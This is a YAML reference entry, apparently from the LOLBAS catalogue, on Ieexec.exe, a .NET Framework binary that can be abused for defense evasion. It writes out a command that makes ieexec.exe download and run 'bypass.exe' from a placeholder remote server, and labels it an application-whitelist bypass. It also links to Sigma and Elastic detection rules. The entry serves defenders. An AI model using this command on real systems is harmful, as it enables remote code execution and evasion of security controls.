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* Add detection links for scripts * Add detection links for OtherMSBins. Fixed and updated as needed. * Add detection links for MSBins. Fixed and updated as needed. * Add detection links for oslibraries * Updating template for Detections * Removing empty Detection:Sigma entries * Remove redundant blank line * Replacing commit URL with file URL Co-authored-by: root <root@DESKTOP-5CR935D.localdomain> Co-authored-by: Wietze <wietze@users.noreply.github.com>
38 lines
2.1 KiB
YAML
38 lines
2.1 KiB
YAML
---
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Name: Ieexec.exe
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Description: The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: ieexec.exe http://x.x.x.x:8080/bypass.exe
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Description: Downloads and executes bypass.exe from the remote server.
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Usecase: Download and run attacker code from remote location
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: ieexec.exe http://x.x.x.x:8080/bypass.exe
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Description: Downloads and executes bypass.exe from the remote server.
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Usecase: Download and run attacker code from remote location
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Category: Execute
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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Full_Path:
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- Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
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- Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/a04fbe2a99f1dcbbfeb0ee4957ae4b06b0866254/rules/windows/process_creation/win_possible_applocker_bypass.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
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- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
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- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
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- IOC: Network connections originating from ieexec.exe may be suspicious
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Resources:
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- Link: https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/
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Acknowledgement:
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- Person: Casey Smith
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Handle: '@subtee'
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---
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